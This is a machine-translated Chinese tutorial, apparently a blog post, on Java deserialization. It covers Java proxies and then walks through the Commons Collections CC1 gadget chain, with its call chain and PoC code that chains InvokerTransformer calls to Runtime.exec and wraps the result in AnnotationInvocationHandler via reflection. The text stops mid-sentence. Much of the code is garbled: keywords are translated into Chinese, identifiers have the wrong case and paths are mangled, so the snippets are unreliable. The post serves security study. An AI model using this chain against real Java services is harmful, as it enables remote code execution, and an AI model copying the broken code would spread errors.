Java 反序列化漏洞系列-2
1 背景介绍
1.1 Commons Collections
Apache Commons是Apache Software Foundation的一个项目。 Commons Collections软件包为Java Standard Collections API提供了一个很好的补充。在此基础上,其常用的数据结构操作经过充分封装,抽象和补充。让我们确保性能,同时在应用程序开发过程中大大简化代码。1.2 Java 代理
与装饰器在Python中的角色类似,Java中的代理是代理类预处理程序为代理类,过滤消息,然后将消息转发到代理类,然后将消息后转发到消息后处理。代理类和代理类之间通常存在关联。代理类本身不会实现服务,而是通过调用代理类中的方法来提供服务。1.2.1 静态代理
创建一个接口,然后创建代理类以实现接口并在接口中实现抽象方法。然后创建一个代理类,并使其也实现此接口。在代理类中保留对代理对象的引用,然后在代理类方法中调用对象的方法。界面:
1
2
3
公共接口HellyInterface {
void sayhello();
}
代理类:
1
2
3
4
5
6
公共类Hello helliments hellyinterface {
@Override
public void sayhello(){
system.out.println('Hello world!');
}
}
代理类:
1
2
3
4
5
6
7
8
9
公共类Helloproxy实现HellyInterface {
private HelloInterface HellyInterface=new Hello();
@Override
public void sayhello(){
system.out.println('提起say sayhello');
hellyinterface.sayhello();
system.out.println('Invoke sayhello');
}
}
代理课程:
1
2
3
4
5
6
7
8
9
公共静态void main(string [] args){
helloproxy helloproxy=new helloproxy();
helloproxy.sayhello();
}
输出:
在调用sayhello之前
你好世界!
调用后说
使用静态代理可以轻松完成类的代理操作。但是,静态代理的缺点也很棒:由于代理只能为一个类服务,如果有许多需要代理的类,那么您需要写大量的代理类,这更繁琐。因此,提出了动态代理的概念。
1.2.2 动态代理
使用反射机制在运行时创建代理类。界面和代理类保持不变。通过构建处理程序类实现InvocationHandler接口。
1
2
3
4
5
6
7
8
9
10
11
12
13
公共类ProxyHandler实施InvocationHandler {
私有对象;
public proxyhandler(对象对象){
this.Object=对象;
}
@Override
公共对象调用(对象代理,方法方法,对象[] args)抛出可投掷{
system.out.println('newoke' + method.getName());
method.invoke(对象,args);
system.out.println('After Invoke' + Method.getName());
返回null;
}
}
执行动态代理:
1
2
3
4
5
6
7
8
9
10
11
12
13
公共静态void main(string [] args){
system.getProperties()。setProperty('sun.misc.proxygenerator.savegeneratedFiles','true');
HelloInterface Hello=new Hello();
InvocationHandler处理程序=new ProxyHandler(Hello);
HelloInterface ProxyHello=(HelloInterface)proxy.newproxyinstance(hello.getClass()。getClassLoader(),hello.getClass()。getClass()。getInterfaces(),handler);
proxyhello.sayhello();
}
输出:
在调用sayhello之前
你好Zhanghao!
调用后说
2 CommonsCollections 1 Gadget 分析
2.1 调用链
12
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.ReadObject()
AnnotationInvocationHandler.ReadObject()
mapentry.setValue()
transformedmap.checksetvalue()
链接transformer.transform()
ConstantTransFormer.TransForm()
InvokerTransFormer.TransForm()
method.invoke()
class.getMethod()
InvokerTransFormer.TransForm()
method.invoke()
runtime.getRuntime()
InvokerTransFormer.TransForm()
method.invoke()
runtime.exec()
2.2 POC
12
3
4
5
6
7
8
9
10
变形金刚[]变形金刚=新变压器[] {
新的ConstantTransFormer(Runtime.getRuntime()),
新InvokerTransFormer('exec',new Class [] {String.class},新对象[] {'/System/System/applications/calculator.app/coltents/contents/macos/calculator'}),
};
变压器变形金刚=新的链式变形器(变形金刚);
map innermap=new hashmap();
map outermap=transformedmap.decorate(innermap,null,变压链);
outermap.put('test','geekby');
2.3 分析
2.3.1 整体思路
CC1小工具的接收器点是,InvokerTransFormer类可以使用反射机制来通过方法名称,方法参数类型和方法参数来进行方法调用。反向查找使用InvokerTransFormer类中使用转换方法的呼叫点:

发现转换方法在Transformedmap类中的CheckSetValue方法中调用
1
2
3
受保护对象checksetValue(对象值){
返回valueTransFormer.Transform(value);
}
在转换示范类的成员中,发现了受保护的最终变压器valueTransFormer属性。通过调用此类的装饰方法,您可以构建一个转换示范对象。

接下来,查找调用CheckSetValue的源:

在Mapentry中,存在setValue方法。因此,链的前半部分的POC如下:

下一步是找到避免化的条目。在AnnotationInvocationHandler类中,重写了ReadObject方法,在此方法中,setValue方法在mapentry上调用。

该类不是公开的,因此需要通过反思来构建其对象:
1
2
3
4
类AnnotationClass=class.Forname('Sun.Reflect.Annotation.AnnotationInvocationHandler');
constructor构造函数=AnnotationClass.getDeclaredConstructor(Class.Class,Map.Class);
constructor.setAccessible(true);
object obj=constructor.newinstance(Override.Class,outermap);
应对OBJ对象并形成整个链。整个过程涉及以下界面和类的特定功能以及如下一些细节。
2.3.2 TransformedMap
TransformedMap用于修改Java标准数据结构图。当修改的地图添加新元素时,它可以执行自定义的回调函数。如下所示,修改Innermap,OUTERMAP是修改的MAP:1
mapoutermap=transformedmap.decorate(innermap,keytransformer,valueTransFormer);
其中,KeyTransFormer是处理新元素密钥的回调,而ValueTransFormer是处理新元素值的回调。我们在这里谈论的“回调”不是传统意义上的回调函数,而是实现变压器接口的类。
2.3.3 Transformer
变压器是一个接口,它只能实现一种方法:
转换图将在转换地图的新元素时调用转换方法。此过程类似于调用“回调函数”,此回调的参数是原始对象。
2.3.4 ConstantTransformer
ConstantTransFormer是实现变压器接口的类。它的过程是在使用构造函数时传递对象:
并在变换方法中返回此对象:

2.3.5 InvokerTransformer
InvokerTransFormer是实现变压器接口的类。该类可用于执行任意方法,这也是应对任意代码进行审理和执行的关键。
实例化此InvokerTransFormer时,需要传递三个参数。第一个参数是要执行的方法名称,第二个参数是此函数的参数列表的参数类型,第三个参数是传递给此函数的参数列表。
随后的回调转换方法是执行输入对象的Imethodname方法:

以执行计算为例:

2.3.6 ChainedTransformer
ChainedTransFormer也是实现变压器接口的类。它的功能是将多个内部变压器串在一起。用外行的话来说,上一个回调返回的结果作为参数传递给了下一个回调。
图片引用phith0n:

2.3.7 AnnotationInvocationHandler
触发此漏洞的核心是向地图添加一个新元素。在上述演示中,漏洞是通过手动执行OUTermap.put('test','xxxx');的漏洞触发的,但是当避免时,您需要找到一个具有相似写入操作的类,该类具有相似的readObject logic。classAnnotationInvocationHandler中的ReadObject:

核心逻辑是map.entrystring,Object MemberValue : MemberValues.entryset()和MemberValue.setValue(.)。当调用setValue设置值时,将触发在变换示词中注册的转换,并执行有效负载。
接下来,在构造POC时,首先创建一个AnnotationInvocationHandler:
1
2
3
4
5
6
7
class clazz=class.forname('sun.reflect.annotation.annotationInvocationHandler');
constructor构造=clazz.getDeclaredConstructor(class.class,map.class);
construct.setAccessible(true);
对象obj=construct.newinstance(retention.class,outermap);
由于Sun.Reflect.Annotation.AnnotationInvocationHandler是JDK的内部类别,其构造函数是私有的,因此该对象是通过反射创建的。
2.3.8 进一步完善
通过构建AnnotationInvocationHandler类,创建避难所利用链的起点,并使用以下代码序列化对象:1
2
3
4
ByTearRayOutputStream barr=new ByTearRayOutputStream();
ObjectOutputStream OOS=new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
但是,当序列化时,会抛出一个例外:

如本系列的第一部分所述,java.lang.runtime类并不能实现可序列化的接口,也不能序列化。因此,有必要通过反射在当前上下文中获取Java.lang.runtime对象。
1
2
3
方法m=runtime.class.getMethod('getRuntime');
运行时r=(运行时)m.invoke(null);
r.exec('/system/applications/calculator.app/contents/macOS/calculator');
如何转换为变压器:
1
2
3
4
5
6
变形金刚[]变形金刚=新变压器[] {
新的constantTransFormer(Runtime.Class),
新的InvokerTransFormer('getMethod',new class [] {string.class,class []。class},new Object [] {'getRuntime',null}),
新的InvokerTransFormer('Invoke',new Class [] {Object.Class,Object []。类},new Object [] {NULL,NULL}),
新InvokerTransFormer('exec',new Class [] {String.class},新对象[] {'/System/System/applications/calculator.app/coltents/contents/macos/calculator'}),
};
但是,执行后,我发现计算器仍然没有弹出。
动态调试与AntotationInvocationHandler类的逻辑有关。在AnnotationInvocationHandler:ReadObject的逻辑中,有一个IF语句来判断Var7。只有当它不是null时,它才会输入和执行setValue,否则它将不会输入并且不会触发漏洞。
那么,如何使此var7不是null呢?需要以下两个条件:
Sun.Reflect.Annotation.AnnotationInvocationHandler构造函数的第一个参数必须是注释的子类,并且必须至少包含一种方法,假设方法名称为x
由Trans